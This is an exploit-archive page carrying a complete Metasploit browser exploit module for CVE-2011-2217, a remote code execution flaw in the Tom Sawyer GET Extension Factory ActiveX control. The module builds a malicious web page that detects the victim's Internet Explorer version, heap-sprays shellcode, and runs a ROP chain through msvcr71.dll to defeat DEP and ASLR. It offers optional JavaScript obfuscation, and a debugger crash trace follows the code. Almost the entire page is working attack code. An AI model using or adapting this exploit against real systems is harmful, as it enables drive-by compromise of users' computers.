Tom Sawyer Software GET Extension Factory Remote Code Execution Exploit

Summary

Tom Sawyer Software GET Extension Factory suffers from remote code execution vulnerability.

Credit:

Details

Vulnerable Systems:
 * Tom Sawyer Software GET Extension Factory

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({
:os_name => OperatingSystems::WINDOWS,
:ua_name => HttpClients::IE,
:ua_minver => ‘6.0’,
:ua_maxver => ‘8.0’,
:javascript => true,
:rank => NormalRanking,
:classid => ‘{658ED6E7-0DA1-4ADD-B2FB-095F08091118}’
})

def initialize(info={})
super(update_info(info,
‘Name’ => ‘Tom Sawyer Software GET Extension Factory Remote Code Execution’,
‘Description’ => %q{
This module exploits a remote code execution vulnerability in the tsgetx71ex553.dll
ActiveX control installed with Tom Sawyer GET Extension Factory due to an incorrect
initialization under Internet Explorer.

While the Tom Sawyer GET Extension Factory is installed with some versions of VMware
Infrastructure Client, this module has been tested only with the versions installed
with Embarcadero Technologies ER/Studio XE2 / Embarcadero Studio Portal 1.6. The ActiveX
control tested is tsgetx71ex553.dll, version 5.5.3.238.

This module achieves DEP and ASLR bypass using the well known msvcr71.dll rop chain. The
dll is installed by default with the Embarcadero software, and loaded by the targeted
ActiveX.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘Elazar Broad’, # Vulnerability discovery
‘rgod’, # PoC
‘juan vazquez’ # Metasploit module
],
‘References’ =>
[
[ ‘CVE’, ‘2011-2217’ ],
[ ‘OSVDB’, ‘73211’ ],
[ ‘BID’, ‘48099’ ],
[ ‘URL’, ‘http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=911’ ]
],
‘Payload’ =>
{
‘Space’ => 1024,
‘BadChars’ => ‘x00’,
‘DisableNops’ => true
},
‘DefaultOptions’ =>
{
‘ExitFunction’ => ‘process’,
‘InitialAutoRunScript’ => ‘migrate -f’
},
‘Platform’ => ‘win’,
‘Targets’ =>
[
# Embarcadero Technologies ER/Studio XE2
# tsgetx71ex553.dll 5.5.3.238
[ ‘Automatic’, {} ],
[ ‘IE 6 on Windows XP SP3’,
{
‘Rop’ => nil,
‘Offset’ => ‘0x00’
}
],
[ ‘IE 7 on Windows XP SP3’,
{
‘Rop’ => nil,
‘Offset’ => ‘0x800 – code.length’
}
],
[ ‘IE 8 on Windows XP SP3’,
{
‘Rop’ => true,
‘Offset’ => ‘0x0’,
‘RopChainOffset’ => ‘0x73e’
}
],
[ ‘IE 8 on Windows 7 SP1’,
{
‘Rop’ => true,
‘Offset’ => ‘0x0’,
‘RopChainOffset’ => ‘0x73e’
}
]
],
‘Privileged’ => false,
‘DisclosureDate’ => ‘May 03 2011’,
‘DefaultTarget’ => 0))

register_options(
[
OptBool.new(‘OBFUSCATE’, [false, ‘Enable JavaScript obfuscation’])
], self.class)
end

def get_target(agent)
#If the user is already specified by the user, we’ll just use that
return target if target.name != ‘Automatic’

if agent =~ /NT 5.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 5.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
elsif agent =~ /NT 6.1/ and agent =~ /MSIE 8/
return targets[4] #IE 8 on Windows 7 SP1
else
return nil
end
end

def junk(n=4)
return rand_text_alpha(n).unpack(‘V’).first
end

def nop
return make_nops(4).unpack(‘V’).first
end

def get_rop_chain(t)

adjust =
[
junk, # heap sprayed to 342d1ea0
0x7c1ce310, # stackpivot # push ecx # pop esp # pop edi # pop esi # retn 18 # mfc71.DLL
0x7c347f98, # RETN (ROP NOP) # msvcr71.dll
junk,
junk,
junk,
junk,
junk,
junk
].pack(‘V*’)

# chain generated by mona.py – See corelan.be
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c351e05, # NEG EAX # RETN
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() – 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to ‘push esp # ret ‘
].pack(‘V*’)

code = adjust
code << rop

return code
end

def on_request_uri(cli, request)
agent = request.headers[‘User-Agent’]
my_target = get_target(agent)

# Avoid the attack if the victim doesn’t have the same setup we’re targeting
if my_target.nil?
print_error(‘Browser not supported: #{agent.to_s}’)
send_not_found(cli)
return
end

print_status(‘Target set: #{my_target.name}’)

p = payload.encoded
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape(‘x0c’*4, Rex::Arch.endian(my_target.arch))
js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

if my_target[‘Rop’].nil?
js_shellcode = ‘var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);’
else
js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
js_shellcode = <<-JS_ROP
var rop_chain = unescape(‘#{js_rop}’);
var nops_padding = nops.substring(0, 0x73e-code.length-offset.length);
var shellcode = code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);
JS_ROP
js_shellcode = js_shellcode.gsub(/^ttt/, ”)
end

js = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape(‘#{js_code}’);
var nops = unescape(‘#{js_nops}’);
var nops_90 = unescape(‘#{js_90_nops}’);

while (nops.length < 0x80000) nops += nops;
while (nops_90.length < 0x80000) nops_90 += nops_90;

var offset = nops.substring(0, #{my_target[‘Offset’]});
#{js_shellcode}

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();
for (var z=1; z < 0x685; z++) {
heap_obj.alloc(block);
}

JS

js = heaplib(js, {:noobfu => true})

#obfuscate on demand
if datastore[‘OBFUSCATE’]
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

html = <<-EOS
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<object classid=’clsid:658ED6E7-0DA1-4ADD-B2FB-095F08091118’>
</object>
</body>
</html>
EOS

html = html.gsub(/^tt/, ”)

print_status(‘Sending html’)
send_response(cli, html, {‘Content-Type’=>’text/html’})

end

end

-begin
(b44.b48): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0013e27c ecx=342d1ea0 edx=00000000 esi=75c63d38 edi=80004002
eip=28d2954d esp=0013e230 ebp=0013e2d4 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
tsgetx71ex553!Ordinal931+0x2dd:
28d2954d ff5104 call dword ptr [ecx+4] ds:0023:342d1ea4=????????
-end

CVE Information:
2011-2217

Disclosure Timeline:
Published: 2012-06-10

Categories: Exploits